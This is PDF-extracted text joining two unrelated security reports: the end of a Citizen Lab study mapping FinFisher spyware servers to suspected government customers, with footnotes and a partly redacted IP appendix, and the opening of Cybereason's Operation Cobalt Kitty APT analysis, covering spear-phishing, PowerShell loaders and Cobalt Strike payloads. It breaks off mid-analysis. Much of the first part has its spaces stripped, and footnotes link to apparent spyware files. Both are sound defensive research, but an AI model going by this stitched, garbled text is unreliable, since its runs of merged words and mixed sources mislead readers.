Tothisend,weidentifygovernmentusers,butredact certaindetailsaboutliveinfrastructure(likeremovingthelastoctetofIPaddresses),whosedisclosuremightinterferewith legitimatelysanctionedactivities.
TheGlobalIntrusionSoftwareMarket:DifficulttoStudy,TrickytoRegulate ThemarketforintrusionsoftwarelikeFinFisherischallengingtotrackbecausethekeyplayers,fromgovernmentcustomersto 4/10/2016 Mapping FinFishers Continuing Proliferation softwaredevelopers,haveastronginterestinkeepingtransactionsprivate.
However,severalyearsofresearch,reporting,and revelationshavemadeitclearthatagrowinglistofcountrieshaveacquired,orareseekingthesetools.
Ascustomerlistsgrow,soshouldconcernoverthedocumentedabusepotentialofintrusionsoftware.
Somegovernmentsclearly believethatitcanbeused,withproperoversight,intheserviceoflegitimatecriminalinvestigationsandintelligencegathering.
However,therearealsowelldocumentedcasesinwhichgovernmentcustomershaveabusedintrusionsoftwaretocompromise politicalopponentswithintheirborders,andoverseas.
Thecurrentmarketseemstobypasssomehistoriclimitsonthespreadofadvancedtechnicalintrusioncapabilities.
Lackofa strongScience,Technology,EngineeringandMathematics(STEM)education,orabsenceoflongterminvestmentinresearchand developmentpipelines,arenolongerimpedimentstoobtainingcomputerexploitationandintrusioncapabilities.
Thesetoolsare nowavailableforpurchasebyanygovernment.
Certainly,lackofdevelopmentinSTEMshouldnotprecludeacountryfromhaving accesstosophisticatedinvestigativetools.
Indeed,anunderresourcedstateislikelytofacesecuritychallengesthatarejustas seriousasamoredevelopedone.
However,itcanbedifficultevenfordemocraticgovernmentswithastrongruleoflawtooverseesecretinvestigativecapabilitieslike intrusionsoftware.
Thesetoolsarelikelytobeacquiredandusedbydivisionsthatareprofessionallydiscreetintheirbudgetingand informationsharing.
Theinformationtheygeneratemayalsohaveitsoriginsdeliberatelydisguisedbeforebeingsharedwithother departmentsoragencies.
Intrusionsoftwarepresentsachallengeforaccountabilityinanycountry,andtheoversightauthoritiesin underresourcedcountriesfacingdomesticorinternationalsecuritythreatsmaybeparticularlyillequippedinexpertiseandpolitical clout,toidentifyoractonsignsofmisuse.
PreviousresearchhasshownthatFinFisherhasbeenusedtotargetregimeopponentsinseveralcases.
Notably,FinFisherhas beenusedtohackEthiopianandBahrainidemocracyactivistsandoppositionpoliticalfigures.
Meanwhile,researchandrevelations aboutHackingTeamsRemoteControlSystem(RCS),acompetitorproduct,havealsomadeitclearthatsomegovernment customersusedthesetoolstotargettheirpoliticalopponents,ratherthansecuritythreatstotheircitizens.
Despitethewelldocumentedpotentialforabuse,thecompanieswhodevelopandmarketthesecapabilitiesarereluctantandill equippedtoconductrigorousduediligenceaboutpotentialcustomers,asrecentrevelationsaboutHackingTeamhavemadeclear.
TheWassenaarArrangement,whichregulatestheexportofweapons,aswellasdualusetechnologies,wasamendedin2013to includeitemsrelatedtointrusionsoftware,likeFinFisherandHackingTeamsRCS.Now,asparticipantsliketheEuropeanUnion haveundertakentheirownimplementations(orarestilldevelopingtheirsasinthecaseoftheUnitedStates),itremainstobeseen whetherornotthiswillleadtogreatertransparencyandcontrol,andwhatimpact,ifany,itwillhaveonabusivesurveillance.
Wehopethatcontinuedevidencebasedresearchofthissortwillcontributetogreateroveralltransparencyaboutthismarket,and providemuchneededpointsofreferenceforpolicymakingandtrackingtheimpactofregulatoryefforts.
Acknowledgements SpecialthankstoCitizenLabcolleaguesMorganMarquisBoireandClaudioGuarnieri,aswellasRonDeibertandMasashiCrete Nishihata.
SpecialthankstotheOpenTechnologyFund.
ThankstoVernPaxsonandJasonPasswaters.
Footnotes 1https://www.finfisher.com/FinFisher/index.html 2https://bahrainwatch.org/blog/2014/08/07/ukspywareusedtohackbahrainlawyersactivists/ 3http://www.wired.co.uk/news/archive/201402/17/illegalspyingethiopianrefugee 4https://www.eff.org/cases/kidanevethiopia 5Seehttps://citizenlab.org/2012/07/frombahrainwithlovefinfishersspykitexposed/,https://citizenlab.org/2012/08/the smartphonewholovedmefinfishergoesmobile/, https://citizenlab.org/2013/03/youonlyclicktwicefinfishersglobalproliferation2/,https://citizenlab.org/2013/04/fortheireyesonly 2/,https://community.rapid7.com/community/infosec/blog/2012/08/08/finfisher 6https://wikileaks.org/spyfiles4/documents/FinSpy3.10Specifications.doc 7Id.
8Id.
9https://wikileaks.org/spyfiles/files/0/289_GAMMA201110FinSpy.pdf https://www.finfisher.com/FinFisher/index.html https://bahrainwatch.org/blog/2014/08/07/uk-spyware-used-to-hack-bahrain-lawyers-activists/ http://www.wired.co.uk/news/archive/2014-02/17/illegal-spying-ethiopian-refugee https://www.eff.org/cases/kidane-v-ethiopia https://citizenlab.org/2012/07/from-bahrain-with-love-finfishers-spy-kit-exposed/ https://citizenlab.org/2012/08/the-smartphone-who-loved-me-finfisher-goes-mobile/ https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/ https://citizenlab.org/2013/04/for-their-eyes-only-2/ https://community.rapid7.com/community/infosec/blog/2012/08/08/finfisher https://wikileaks.org/spyfiles4/documents/FinSpy-3.10-Specifications.doc https://wikileaks.org/spyfiles/files/0/289_GAMMA-201110-FinSpy.pdf 4/10/2016 Mapping FinFishers Continuing Proliferation 10https://zmap.io/ 11https://community.rapid7.com/community/infosec/blog/2012/08/08/finfisher 12GoogledoesnotreturntheusersIPaddressunlessacertaintypeofUserAgentheaderisincluded.
Inthisexample,we includeauseragentusedbytheTorBrowserBundle.
Thenord1parameterturnsoffGooglesSSLredirection.
13YahoodoesnotreturntheuserLocationobjectunlessacertaintypeofUserAgentheaderisincluded.
Insomecases,we neededtosubstituteacountryspecificversionofYahoointheGETrequest(eitherespanol.yahoo.comormaktoob.yahoo.com).
14WeverifiedthattheIPofourmeasurementmachinewasincludedintheLiberocookiewhenvisitingthelibero.itsitedirectly.
15https://github.com/hackedteam/rcscollector/commit/0a92297ff1cb52112be0a6ee6b8d398cf001ed1e 16https://citizenlab.org/2014/02/mappinghackingteamsuntraceablespyware/ 17Seeourpreviousfingerprints:https://github.com/citizenlab/spywarescan/blob/master/ff/fingerprint2.0.txt, https://github.com/citizenlab/spywarescan/blob/master/ff/fingerprint3.0.txt,https://github.com/citizenlab/spyware scan/blob/master/ff/fingerprint4.0.txt 18WeassumethatifaFinFishermasterislocatedinacountry,thenanentityofthatcountrysgovernmentisusingthespyware.
It isofcoursepossiblethatgovernmententitiesmaybeoperatingsomesurveillancefromoverseassites.
Though,weviewthis possibilityasquiteremote,givenconcernsaboutrelyingonforeign(andpotentiallyuntrusted)telecominfrastructuretooperate surveillanceinfrastructure.
19https://wikileaks.org/spyfiles4/customers.html 20Seeforexample:http://2014.hack.lu/archive/2014/inside_spying_v1.4.pdfand https://www.usenix.org/system/files/conference/usenixsecurity14/sec14papermarczak.pdf 21https://citizenlab.org/2014/02/hackingteamsusnexus/ 22https://wikileaks.org/hackingteam/emails/emailid/547657 23http://www.dgfi.gov.bd/index.php/about 24https://www.hrw.org/report/2009/05/18/ignoringexecutionsandtorture/impunitybangladeshssecurityforces 25http://www.state.gov/j/drl/rls/hrrpt/2013humanrightsreport/index.htm?year2013dlid220388 26https://wikileaks.org/hackingteam/emails/emailid/17309 27http://www.police.ac.be/menu_58.htm 28https://twitter.com/wikileaks/status/620025057650319360/photo/1 29https://www.shodan.io/host/195.178.51.251 30https://wikileaks.org/hackingteam/emails/emailid/765057 31https://wikileaks.org/hackingteam/emails/emailid/761837 32http://www.bia.gov.rs/eng/oagenciji/zakonobia.html 33http://www.bgcentar.org.rs/bgcentar/englat/wpcontent/uploads/2014/04/HumanRightsinSerbia2013.pdf 34http://www.bgcentar.org.rs/bgcentar/englat/wpcontent/uploads/2014/04/HumanRightsinSerbia2013.pdf 35http://ceasserbia.org/root/images/CEAS_Plan__Total_Makeover.pdf 36http://www.bgcentar.org.rs/bgcentar/englat/wpcontent/uploads/2015/03/HumanRightsinSerbia2014.pdf 37http://www.infobalkans.com/2014/06/25/serbiangovernmentadoptsamendmentsbialaw 38http://ceas serbia.org/root/images/CEAS_Analysis_of_the_Law_on_Amendments_of_the_Law_on_the_Security_Intelligence_Agency.pdf 39http://labs.rs/en/hackingteamtheitalianjobofserbiansecurityservices/ 40https://wikileaks.org/hackingteam/emails/emailid/1081335 41https://wikileaks.org/hackingteam/emails/emailid/1030236 42https://wikileaks.org/hackingteam/emails/emailid/14684 43https://wikileaks.org/hackingteam/emails/emailid/602607 44https://www.hrw.org/worldreport/2015/countrychapters/egypt 45https://www.privacyinternational.org/sites/default/files/UPR_Egypt.pdf 46https://wikileaks.org/hackingteam/emails/emailid/565854 47https://wikileaks.org/hackingteam/emails/emailid/575806 48https://wikileaks.org/hackingteam/emails/emailid/601732 https://zmap.io/ https://community.rapid7.com/community/infosec/blog/2012/08/08/finfisher https://github.com/hackedteam/rcs-collector/commit/0a92297ff1cb52112be0a6ee6b8d398cf001ed1e https://citizenlab.org/2014/02/mapping-hacking-teams-untraceable-spyware/ https://github.com/citizenlab/spyware-scan/blob/master/ff/fingerprint-2.0.txt https://github.com/citizenlab/spyware-scan/blob/master/ff/fingerprint-3.0.txt https://github.com/citizenlab/spyware-scan/blob/master/ff/fingerprint-4.0.txt https://wikileaks.org/spyfiles4/customers.html http://2014.hack.lu/archive/2014/inside_spying_v1.4.pdf https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-marczak.pdf https://citizenlab.org/2014/02/hacking-teams-us-nexus/ https://wikileaks.org/hackingteam/emails/emailid/547657 http://www.dgfi.gov.bd/index.php/about https://www.hrw.org/report/2009/05/18/ignoring-executions-and-torture/impunity-bangladeshs-security-forces http://www.state.gov/j/drl/rls/hrrpt/2013humanrightsreport/index.htm?year2013dlid220388 https://wikileaks.org/hackingteam/emails/emailid/17309 http://www.police.ac.be/menu_58.htm https://twitter.com/wikileaks/status/620025057650319360/photo/1 https://www.shodan.io/host/195.178.51.251 https://wikileaks.org/hackingteam/emails/emailid/765057 https://wikileaks.org/hackingteam/emails/emailid/761837 http://www.bia.gov.rs/eng/o-agenciji/zakon-o-bia.html http://www.bgcentar.org.rs/bgcentar/eng-lat/wp-content/uploads/2014/04/Human-Rights-in-Serbia-2013.pdf http://www.bgcentar.org.rs/bgcentar/eng-lat/wp-content/uploads/2014/04/Human-Rights-in-Serbia-2013.pdf http://ceas-serbia.org/root/images/CEAS_Plan_-_Total_Makeover.pdf http://www.bgcentar.org.rs/bgcentar/eng-lat/wp-content/uploads/2015/03/Human-Rights-in-Serbia-2014.pdf http://www.infobalkans.com/2014/06/25/serbian-government-adopts-amendments-bia-law http://ceas-serbia.org/root/images/CEAS_Analysis_of_the_Law_on_Amendments_of_the_Law_on_the_Security_Intelligence_Agency.pdf http://labs.rs/en/hacking-team-the-italian-job-of-serbian-security-services/ https://wikileaks.org/hackingteam/emails/emailid/1081335 https://wikileaks.org/hackingteam/emails/emailid/1030236 https://wikileaks.org/hackingteam/emails/emailid/14684 https://wikileaks.org/hackingteam/emails/emailid/602607 https://www.hrw.org/world-report/2015/country-chapters/egypt https://www.privacyinternational.org/sites/default/files/UPR_Egypt.pdf https://wikileaks.org/hackingteam/emails/emailid/565854 https://wikileaks.org/hackingteam/emails/emailid/575806 https://wikileaks.org/hackingteam/emails/emailid/601732 4/10/2016 Mapping FinFishers Continuing Proliferation 49http://news.detik.com/wawancara/2212177/lembagasandinegarahitechdanmisterius 50http://www.theguardian.com/world/2015/mar/11/indonesianjihadiscouldbegalvanisedreturnisisfightersanalyst 51https://citizenlab.org/2013/10/igf2013exploringcommunicationssurveillanceindonesia/ 52https://wikileaks.org/gifiles/docs/51/5109873_oskenyakenyanintelligenceservicechangesnameboosts.html 53http://www.standardmedia.co.ke/article/2000059031/nsisandpoliceboostkenyasspynetworks?
articleID2000059031story_titlensisandpoliceboostkenyasspynetworkspageNo3 54https://www.hrw.org/worldreport/2015/countrychapters/kenya 55http://www.bloomberg.com/news/articles/20141211/kenyampsdebatetoughsecuritylawscriticizedbyopposition 56http://www.bbc.com/news/worldafrica30592083 57https://www.fidh.org/InternationalFederationforHumanRights/Africa/kenya/16696kenyathesecuritylawsamendmentact mustberepealed 58https://www.hrw.org/news/2014/12/13/kenyasecuritybilltramplesbasicrights 59https://www.article19.org/resources.php/resource/37800/en/kenya:concernswithsecuritylaws(amendment)bill 60https://www.article19.org/resources.php/resource/37866/en/kenya:highcourtrulingonsecurityamendmentactavictoryfor freespeech 61http://www.generalsecurity.gov.lb/AboutGS/Historicaloverview.aspx 62http://www.generalsecurity.gov.lb/AboutGS/functions.aspx 63http://www.generalsecurity.gov.lb/AboutGS/sub1.aspx 64https://www.privacyinternational.org/node/586 65https://www.privacyinternational.org/sites/default/files/Lebanon_UPR_23rd_session_Joint_Stakeholder_submission_0.pdf 66https://www.privacyinternational.org/sites/default/files/Lebanon_UPR_23rd_session_Joint_Stakeholder_submission_0.pdf 67http://www.isf.gov.lb/arabic/download/isfhisten.pdf 68http://www.ohchr.org/EN/NewsEvents/Pages/ACodeofConducttohelpprotectHRLebanon.aspx 69https://www.hrw.org/report/2013/06/26/itspartjob/illtreatmentandtorturevulnerablegroupslebanesepolicestations 70https://www.hrw.org/news/2015/06/26/lebanonmonitordetentioncombattorture 71http://www.state.gov/documents/organization/220575.pdf 72https://www.eff.org/deeplinks/2012/12/lebanesesecurityagencyuserdatarequestsparkscontroversy 73http://www.mpt.gov.lb/index.php/en/aboutmpt2/mptinpress/118theministryofcommunicationswillnotimplementanydata requestifittouchedthefreedomsofthelebaneseandrepresentedanassaultontheirprivacy 74 http://www.slate.com/blogs/future_tense/2012/08/20/moroccan_website_mamfakinch_targeted_by_government_grade_spyware_from_hacking_team_.html 75https://privacyinternational.org/?qnode/554 76https://wikileaks.org/hackingteam/emails/emailid/594340 77https://wikileaks.org/hackingteam/emails/emailid/590093 78http://cyberpeace.org/wpcontent/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf 79https://www.fireeye.com/blog/threatresearch/2014/06/moleratshereforspring.html 80http://cyberpeace.org/wpcontent/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf 81http://cyberpeace.org/wpcontent/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf 82https://www.fireeye.com/blog/threatresearch/2014/06/moleratshereforspring.html 83https://www.fireeye.com/blog/threatresearch/2014/06/moleratshereforspring.html 84https://github.com/FinFisher/FinFlyWeb/blob/master/static_v2/jack.js 85http://youm7.newsyoum7.com/youm7/videos/acrobatreader.rar 86https://www.linkedin.com/in/warith1977 87https://wikileaks.org/hackingteam/emails/emailid/601907 88https://surveillance.rsf.org/en/gammainternational/ 89https://wikileaks.org/spyfiles4/customers.html 90https://www.eff.org/cases/kidanevethiopia http://news.detik.com/wawancara/2212177/lembaga-sandi-negara-hi-tech-dan-misterius http://www.theguardian.com/world/2015/mar/11/indonesian-jihadis-could-be-galvanised-return-isis-fighters-analyst https://citizenlab.org/2013/10/igf-2013-exploring-communications-surveillance-indonesia/ https://wikileaks.org/gifiles/docs/51/5109873_-os-kenya-kenyan-intelligence-service-changes-name-boosts.html http://www.standardmedia.co.ke/article/2000059031/nsis-and-police-boost-kenya-s-spy-networks?articleID2000059031story_titlensis-and-police-boost-kenya-s-spy-networkspageNo3 https://www.hrw.org/world-report/2015/country-chapters/kenya http://www.bloomberg.com/news/articles/2014-12-11/kenya-mps-debate-tough-security-laws-criticized-by-opposition http://www.bbc.com/news/world-africa-30592083 https://www.fidh.org/International-Federation-for-Human-Rights/Africa/kenya/16696-kenya-the-security-laws-amendment-act-must-be-repealed https://www.hrw.org/news/2014/12/13/kenya-security-bill-tramples-basic-rights https://www.article19.org/resources.php/resource/37800/en/kenya:-concerns-with-security-laws-(amendment)-bill https://www.article19.org/resources.php/resource/37866/en/kenya:-high-court-ruling-on-security-amendment-act-a-victory-for-free-speech http://www.general-security.gov.lb/About-GS/Historical-overview.aspx http://www.general-security.gov.lb/About-GS/functions.aspx http://www.general-security.gov.lb/About-GS/sub1.aspx https://www.privacyinternational.org/node/586 https://www.privacyinternational.org/sites/default/files/Lebanon_UPR_23rd_session_Joint_Stakeholder_submission_0.pdf https://www.privacyinternational.org/sites/default/files/Lebanon_UPR_23rd_session_Joint_Stakeholder_submission_0.pdf http://www.isf.gov.lb/arabic/download/isf-hist-en.pdf http://www.ohchr.org/EN/NewsEvents/Pages/ACodeofConducttohelpprotectHRLebanon.aspx https://www.hrw.org/report/2013/06/26/its-part-job/ill-treatment-and-torture-vulnerable-groups-lebanese-police-stations https://www.hrw.org/news/2015/06/26/lebanon-monitor-detention-combat-torture http://www.state.gov/documents/organization/220575.pdf https://www.eff.org/deeplinks/2012/12/lebanese-security-agency-user-data-request-sparks-controversy http://www.mpt.gov.lb/index.php/en/about-mpt-2/mpt-in-press/118-the-ministry-of-communications-will-not-implement-any-data-request-if-it-touched-the-freedoms-of-the-lebanese-and-represented-an-assault-on-their-privacy http://www.slate.com/blogs/future_tense/2012/08/20/moroccan_website_mamfakinch_targeted_by_government_grade_spyware_from_hacking_team_.html https://privacyinternational.org/?qnode/554 https://wikileaks.org/hackingteam/emails/emailid/594340 https://wikileaks.org/hackingteam/emails/emailid/590093 http://cyber-peace.org/wp-content/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf https://www.fireeye.com/blog/threat-research/2014/06/molerats-here-for-spring.html http://cyber-peace.org/wp-content/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf http://cyber-peace.org/wp-content/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf https://www.fireeye.com/blog/threat-research/2014/06/molerats-here-for-spring.html https://www.fireeye.com/blog/threat-research/2014/06/molerats-here-for-spring.html https://github.com/FinFisher/FinFly-Web/blob/master/static_v2/jack.js https://www.linkedin.com/in/warith1977 https://wikileaks.org/hackingteam/emails/emailid/601907 https://surveillance.rsf.org/en/gamma-international/ https://wikileaks.org/spyfiles4/customers.html https://www.eff.org/cases/kidane-v-ethiopia 4/10/2016 Mapping FinFishers Continuing Proliferation AppendixA:ListofFinFisherServers Server FinSpyMasterIP MasterCountry Date 41.63.169.xxx 41.63.169.xxx Angola 12/2014 176.67.169.xxx 41.63.169.xxx Angola 12/2014 81.246.44.xxx 81.246.44.xxx Belgium 1/2015 78.46.172.xxx 80.65.75.xxx BosniaandHerzegovina 12/2014 180.235.133.xxx 80.95.253.xxx CzechRepublic 12/2014 50.31.252.xxx 62.114.252.xxx Egypt 12/2014 95.170.82.xxx 62.114.252.xxx Egypt 12/2014 197.156.66.xxx Ethiopia 1/2015 206.190.159.xxx Ethiopia 2/2015 197.231.66.xxx Gabon 12/2014 176.67.169.xxx 118.97.103.xxx Indonesia 12/2014 182.253.201.xxx 182.253.201.xxx Indonesia 12/2014 50.31.240.xxx 112.78.143.xxx Indonesia 12/2014 50.31.255.xxx 103.28.56.xxx Indonesia 12/2014 46.23.72.xxx 118.97.103.xxx Indonesia 12/2014 206.190.159.xxx 103.28.56.xxx Indonesia 12/2014 83.170.112.xxx 118.97.103.xxx Indonesia 12/2014 206.217.196.xxx 202.182.52.xxx Indonesia 12/2014 216.119.149.xxx 118.97.103.xxx Indonesia 12/2014 182.253.201.xxx 182.253.201.xxx Indonesia 12/2014 103.28.57.xxx 103.28.57.xxx Indonesia 12/2014 206.190.159.xxx 112.78.143.xxx Indonesia 2/2015 182.253.201.xxx 182.253.201.xxx Indonesia 3/2015 182.54.232.xxx 180.250.74.xxx Indonesia 3/2015 2.228.65.xxx Italy 12/2014 185.8.106.xxx 93.146.250.xxx Italy 12/2014 158.255.208.xxx Jordan 12/2014 109.123.112.xxx Jordan 12/2014 185.19.192.xxx Kazakhstan 1/2015 178.208.76.xxx Kazakhstan 2/2015 46.23.73.xxx 197.254.122.xxx Kenya 3/2015 4/10/2016 Mapping FinFishers Continuing Proliferation 212.98.139.xxx 212.98.139.xxx Lebanon 12/2014 77.42.156.xxx Lebanon 12/2014 77.28.101.xxx Macedonia 12/2014 77.28.102.xxx Macedonia 12/2014 79.125.161.xxx Macedonia 12/2014 213.136.89.xxx 211.25.14.xxx Malaysia 12/2014 93.104.212.xxx Malaysia 12/2014 118.101.145.xxx Malaysia 12/2014 110.159.5.xxx Malaysia 12/2014 201.122.183.xxx 201.122.183.xxx Mexico 12/2014 31.192.226.xxx 103.230.82.xxx Mongolia 12/2014 176.67.169.xxx Morocco 12/2014 176.67.168.xxx 81.192.4.xxx Morocco 12/2014 109.123.86.xxx 81.192.4.xxx Morocco 12/2014 176.67.172.xxx 81.192.4.xxx Morocco 12/2014 176.67.172.xxx 81.192.4.xxx Morocco 12/2014 37.123.115.xxx 41.242.50.xxx Nigeria 12/2014 176.67.172.xxx 204.14.42.xxx Nigeria 2/2015 85.154.222.xxx Oman 12/2014 146.185.163.xxx Oman 5/2015 190.128.172.xxx Paraguay 12/2014 158.255.215.xxx 95.76.221.xxx Romania 12/2014 62.149.86.xxx SaudiArabia 12/2014 77.31.27.xxx SaudiArabia 1/2015 37.107.117.xxx SaudiArabia 2/2015 2.90.15.xxx SaudiArabia 5/2015 2.89.48.xxx SaudiArabia 5/2015 95.218.27.xxx SaudiArabia 5/2015 195.178.51.xxx Serbia 12/2014 193.9.21.xxx Slovenia 12/2014 105.224.57.xxx SouthAfrica 2/2015 105.228.145.xxx SouthAfrica 5/2015 192.96.200.xxx 79.144.61.xxx Spain 12/2014 41.215.240.xxx 79.144.61.xxx Spain 12/2014 4/10/2016 Mapping FinFishers Continuing Proliferation 62.87.109.xxx Spain 12/2014 209.59.205.xxx 79.144.61.xxx Spain 12/2014 209.59.213.xxx 79.144.61.xxx Spain 12/2014 212.166.246.xxx Spain 12/2014 47.60.110.xxx Spain 2/2015 190.14.38.xxx 79.144.61.xxx Spain 2/2015 123.51.216.xxx Taiwan 12/2014 212.156.217.xxx Turkey 5/2015 217.174.229.xxx Turkmenistan 12/2014 217.174.229.xxx Turkmenistan 12/2014 217.174.229.xxx Turkmenistan 12/2014 217.174.226.xxx Turkmenistan 12/2014 185.8.106.xxx Venezuela 12/2014 151.236.13.xxx 62.153.225.xxx (DemonstrationServer) 12/2014 158.255.212.xxx (DemonstrationServer) 12/2014 80.156.28.xxx (DemonstrationServer) 12/2014 151.236.23.xxx 62.153.225.xxx (DemonstrationServer) 12/2014 106.186.24.xxx 62.153.225.xxx (DemonstrationServer) 12/2014 117.102.124.xxx (DemonstrationServer) 5/2015 37.139.27.xxx 12/2014 151.236.13.xxx 12/2014 46.4.148.xxx 12/2014 185.15.245.xxx 12/2014 37.17.173.xxx 12/2014 95.170.88.xxx 12/2014 89.46.101.xxx 12/2014 194.58.97.xxx 12/2014 116.251.208.xxx 12/2014 212.71.232.xxx 12/2014 209.208.108.xxx 12/2014 198.105.122.xxx 12/2014 162.220.246.xxx 12/2014 188.122.76.xxx 12/2014 89.46.101.xxx 12/2014 4/10/2016 Mapping FinFishers Continuing Proliferation 190.97.165.xxx 12/2014 116.251.223.xxx 12/2014 192.64.11.xxx 12/2014 182.54.233.xxx 12/2014 103.246.249.xxx 2/2015 117.121.243.xxx 2/2015 192.99.151.xxx 5/2015 162.220.246.xxx 5/2015 173.255.143.xxx 5/2015 179.43.160.xxx 6/2015 198.105.122.xxx 6/2015 50.31.255.xxx 6/2015 175.139.238.xxx 6/2015 131.72.138.xxx 6/2015 185.11.146.xxx 6/2015 105.228.147.xxx 6/2015 PostaComment Youremailisnevershared.
Requiredfieldsaremarked Name Email Website Comment PostComment Citizenlab2016ContactRSS https://citizenlab.org/contact https://citizenlab.org/feed/
5/23/2017 A Large Scale Cyber Espionage APT in Asia cybereason.com /labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/ Operation Cobalt Kitty: A large-scale APT in Asia carried out by the OceanLotus Group Post by: Assaf Dahan The investigation of a massive cyber espionage APT (Advanced Persistent Threat) became a game of one-upmanship between attackers and defenders.
Dubbed Operation Cobalt Kitty, the APT targeted a global corporation based in Asia  with the goal of stealing proprietary business information.
The threat actor targeted the companys top-level management by using sophisticated spear-phishing attacks as the initial penetration vector, ultimately compromising the computers of vice presidents, senior directors and other key personnel in the operational departments.
During Operation Cobalt Kitty, the attackers compromised more than 40 PCs and servers, including the domain controller, file servers, Web application server and database server.
Forensic artifacts revealed that the attackers persisted on the network for at least a year before Cybereason was deployed.
The adversary proved very adaptive and responded to companys security measures by periodically changing tools, techniques and procedures (TTPs), allowing them to persist on the network for such an extensive period of time.
Over 80 payloads and numerous domains were observed in this operation  all of which were undetected by traditional security products deployed in the companys environment at the time of the attack.
The attackers arsenal consisted of modified publicly-available tools as well as six undocumented custom-built tools, which Cybereason considers the threat actors signature tools.
Among these tools are two backdoors that exploited DLL sideloading attack in Microsoft, Google and Kaspersky applications.
In addition, they developed a novel and stealthy backdoor that targets Microsoft Outlook for command-and-control channel and data exfiltration.
Based on the tools, modus operandi and IOCs (indicators of compromise) observed in Operation Cobalt Kitty, Cybereason attributes this large-scale cyber espionage APT to the OceanLotus Group (which is also known as, APT-C-00, SeaLotus and APT32).
For detailed information tying Operation Cobalt Kitty to the OceanLotus Group, please see our Attackers Arsenal and Threat Actor Profile  sections.
Cybereason also attributes the recently reported Backdoor.
Win32.Denis to the OceanLotus Group, which at the time of this reports writing, had not been officially linked to this threat actor.
Finally, this report offers a rare glimpse into what a cyber espionage APT looks like under-the-hood.
Cybereason was able to monitor and detect the entire attack lifecycle, from infiltration to exfiltration and all the steps in between.
Our report contains the following detailed sections (PDF): High-level attack outline:  A cat-and-mouse game in four acts The following sections outline the four phases of the attack as observed by Cybereasons analysts, who were called to investigate the environment after the companys IT department suspected that their network was breached but could not trace the source.
Phase one: Fileless operation (PowerShell and Cobalt Strike payloads) 1/14 https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/ https://ti.360.com/upload/report/file/OceanLotusReport.pdf http://zhuiri.360.cn/report/index.php/2015/05/29/482/?langen https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html https://www2.cybereason.com/asset/59:research-cobalt-kitty-attackers-arsenal https://www2.cybereason.com/asset/61:research-cobalt-kitty-profile-iocs https://securelist.com/blog/research/78203/use-of-dns-tunneling-for-cc-communications/ https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22155342/fakemicrosoft.png https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22154400/fakegoogle.png https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22153935/dnstunneling.png Based on the forensic evidence collected from the environment, phase one was the continuation of the original attack that began about a year before Cybereason was deployed in the environment.
During that phase, the threat actor operated a fileless PowerShell-based infrastructure, using customized PowerShell payloads taken from known offensive frameworks such as Cobalt Strike, PowerSploit and Nishang.
The initial penetration vector was carried out by social engineering.
Carefully selected group of employees received spear-phishing emails, containing either links to malicious sites or weaponized Word documents.
These documents contained malicious macros that created persistence on the compromised machine using two scheduled tasks, whose purpose was to download secondary payloads (mainly Cobalt Strike Beacon): Scheduled task 1: Downloads a COM scriptlet that redirects to Cobalt Strike payload: Scheduled task 2: Uses Javascript to download a Cobalt Strike Beacon: See more detailed analysis of the malicious documents in our Attack Life Cycle section.
Fileless payload delivery infrastructure 2/14 https://www.cobaltstrike.com/help-smb-beacon https://github.com/PowerShellMafia/PowerSploit https://github.com/samratashok/nishang https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22153236/cmdline.png https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22153423/schedukedtask2.png https://www2.cybereason.com/asset/60:research-cobalt-kitty-attack-lifecycle In the first phase of the attack, the attackers used a fileless in-memory payload delivery infrastructure consisting of the following components: 1.
VBS and PowerShell-based loaders The attackers dropped Visual Basic and PowerShell scripts in folders that they created under the ProgramData (a hidden folder, by default).
The attackers created persistence using Windows registry, services and scheduled tasks.
This persistence mechanism ensured that the loader scripts would execute either at startup or at predetermined intervals.
Values found in Windows Registry: the VBS scripts are executed by Windows Wscript at startup: The .vbs scripts as well as the .txt files contain the loaders script, which launches PowerShell with a base64 encoded command, which either loads another PowerShell script (e.g Cobalt Strike Beacon) or fetches a payload from the command-and-control (CC) server: 3/14 https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22154533/compromisedmachine.png https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22154638/wscript.png 2.
In-memory fileless payloads from CC servers The payloads served by the CC servers are mostly PowerShell scripts with embedded base64-encoded payloads (Metasploit and Cobalt Strike payloads): Example 1:  PowerShell payload with embedded Shellcode downloading Cobalt Strike Beacon The decoded payload is a shellcode, whose purpose is to retrieve a Cobalt Strike Beacon from the CC server: 4/14 https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22154915/hiddenwindow.png https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22155147/newojectio.png Example 2: Cobalt Strike Beacon embedded in obfuscated PowerShell A second type of an obfuscated PowerShell payload consisted of Cobalt Strikes Beacon payload: Less than 48 hours after Cybereason alerted the company about the breach , the attackers started to change their approach and almost completely abandoned the PowerShell infrastructure that they had been using  replacing it with sophisticated custom-built backdoors.
The attackers remarkable ability to quickly adapt demonstrated their skill and familiarity with and command of the companys network and its operations.
5/14 https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22155033/push.png https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22154750/doit.png The attackers most likely replaced the PowerShell infrastructure after the company used both Windows Group Policy Object (GPO) and Cybereasons execution prevention feature to prevent PowerShell execution.
